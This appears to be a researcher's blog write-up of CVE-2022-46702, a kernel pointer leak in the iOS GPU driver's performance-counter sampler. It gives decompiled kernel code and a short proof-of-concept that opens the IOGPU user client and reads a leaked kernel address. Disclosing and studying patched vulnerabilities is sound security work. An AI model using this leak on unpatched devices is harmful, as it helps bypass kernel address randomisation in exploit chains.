CVE-2022-46702: Remember to Clean Up the Memory

As I tinkered with my first iPhone and jailbroke it, I was struck by the endless possibilities for customization and exploration. That’s when my interest in security research truly took off. I immersed myself in the study of reverse engineering and even became an iOS tweak developer. My curiosity and passion for software security only continued to grow as I delved deeper into this field. And I am excited to share the details of my first CVE, CVE-2022-46702: a kernel information leak in the GPU driver. This discovery has been a highlight of my security research career so far, and I can’t wait to see what other exciting challenges and opportunities lie ahead.

IOKit

Before we start, I’d like to go through the concept of IOKit briefly. Since there are many detailed documents about IOKit, I will only cover the basic idea of it here.

IOKit is a collection of low-level frameworks, libraries, tools, and other things for developing drivers in macOS, iOS, iPadOS, and so on.

In userland, we can interact with IOKit kernel extensions with their user clients. You need to get a “handle” of it first with IOServiceOpen(), which will return a Mach Port. User clients can expose the interface to userland with external methods, and in most of cases, the external methods will be stored in an external methods table. Then just like ioctl(), you can use IOConnectCallMethod() to call the external methods implemented in user clients.

1
2
3
4
5
6
7
8
9
10
11
12
kern_return_t 
IOConnectCallMethod(
mach_port_t connection, // the Mach Port of client
uint32_t selector, // method selector
const uint64_t *input,
uint32_t inputCnt,
const void *inputStruct,
size_t inputStructCnt, // size of inputStruct
uint64_t *output,
uint32_t *outputCnt,
void *outputStruct,
size_t *outputStructCnt);

Apple also provides some variants, such as IOConnectCallAsyncMethod(), and they share the same idea.

Dispatch table

struct IOExternalMethodDispatch is used to manage the implemented external methods.

1
2
3
4
5
6
7
8
9
typedef IOReturn (*IOExternalMethodAction)(OSObject * target, void * reference,
IOExternalMethodArguments * arguments);
struct IOExternalMethodDispatch {
IOExternalMethodAction function;
uint32_t checkScalarInputCount;
uint32_t checkStructureInputSize;
uint32_t checkScalarOutputCount;
uint32_t checkStructureOutputSize;
};

function is a function pointer to an external method, and the following fields describe the input and output data.

The kernel info leak

The vulnerability is in the GPU driver of iOS. AGXDeviceUserClient::performanceCounterSamplerControl() handles many commands about sampling. In command 0xF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
__int64 __fastcall AGXDeviceUserClient::performanceCounterSamplerControl(
AGXDeviceUserClient *a1,
__int64 structInput,
__int64 structOutput)
{
v3 = 3758097084LL;
if ( !structInput || *structInput > 0x16 )
return v3;
// ..........
case 0xF:
v27 = *(unsigned __int8 *)(structInput + 4);
if ( a1->AGXShared.field_190 <= (unsigned int)v27 )
break;
v28 = *(_QWORD *)(structInput + 16);
if ( v28 )
{
v29 = *(_DWORD *)(structInput + 8);
if ( v29 >= 2 )
{
v30 = 393223;
if ( *(_BYTE *)(structInput + 4) )
{
p_field_58 = &a1->IOGPUDevice.field_58;
v30 = 262151;
}
else
{
p_field_58 = &a1->IOGPUDevice.io_gpu->IOGPU.field_d0;
}
v32 = AGXShared::createMappedBuffer(
a1,
(task *)a1->IOGPUDevice.field_50,
(IOGPUTask *)*p_field_58,
v28,
v29,
v30);
if ( v32 )
{
v33 = v32;
((void (__fastcall *)(AGXShared *, __int64, __int64))a1->vtable->AGXShared.setSourceBufferMap)(
a1,
v27,
v32);
*(_QWORD *)(structInput + 16) = v33;
structInput+16 = v33 = v32
LABEL_14:
v34 = ((__int64 (*)(void))a1->IOGPUDevice.io_gpu->AGXAccelerator.pref_ctl->vtable->AGXPerfCtrSamplerGen11.processControlCommand)();

}
}
}
else if ( *(_QWORD *)(a1->AGXShared.field_188 + 8LL * *(unsigned __int8 *)(structInput + 4)) )
{
v34 = ((__int64 (*)(void))a1->IOGPUDevice.io_gpu->AGXAccelerator.pref_ctl->vtable->AGXPerfCtrSamplerGen11.processControlCommand)();
((void (__fastcall *)(AGXShared *, __int64, _QWORD))a1->vtable->AGXShared.setSourceBufferMap)(
a1,
v27,
0LL);
}
else
{
v34 = 1;
}
break;

Notice that

1
2
3
4
5
6
7
v32 = AGXShared::createMappedBuffer(
a1,
(task *)a1->IOGPUDevice.field_50,
(IOGPUTask *)*p_field_58,
v28,
v29,
v30);

Pointer v32 was then copied to *(_QWORD *)(structInput + 16). structInput was passed to a1->IOGPUDevice.io_gpu->AGXAccelerator.pref_ctl->vtable->AGXPerfCtrSamplerGen11.processControlCommand)(); as an argument.

When the function return,

1
2
3
4
5
6
7
8
9
10
if ( v34 )
{
v3 = 0LL;
if ( structOutput )
{
v11 = *(_OWORD *)(structInput + 16);
*structOutput = *(_OWORD *)structInput;
*(structOutput + 16) = v11;
}
}

*(_OWORD *)(structInput + 16); was then assigned to structOutput. So we can directly retrieve a kernel pointer in userland.

Exploitation

The exploitation is pretty straightforward. To exploit this vulnerability in iOS 16, you need an entitlement first. But in iOS 14, we can invoke this method without special entitlement.

1
2
3
4
5
6
7
8
if ( IOGPUDevice::doesEntitlementExist(io_gpu_device, "com.apple.private.agx.performance-spi")
&& (v8 = proc_find(io_gpu_device->IOGPUDevice.field_60)) != 0LL )
{
v9 = v8;
v10 = csproc_get_platform_binary() != 0;
proc_rele(v9);
v11 = 4 * v10;
}
1
2
3
4
5
6
7
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("IOGPU"));
kr = IOServiceOpen(service, mach_task_self(), 1, &conn);
if (kr || !conn) {
perror("failed to open");
return 0;
}

Simply open the user client first.

1
2
3
4
5
6
7
kr = IOConnectCallStructMethod(conn, getindex_method_start + 5, struct_input, sizeof(struct_input), struct_output, &struct_output_size);

for(int i = 0; i < 10; ++i) {
printf("[+] leak 0x%llx\n", *(uint64_t *)(struct_output + i * 8));
}

return *(uint64_t *)(struct_output + 0x10);

Then enjoy your kernel pointer.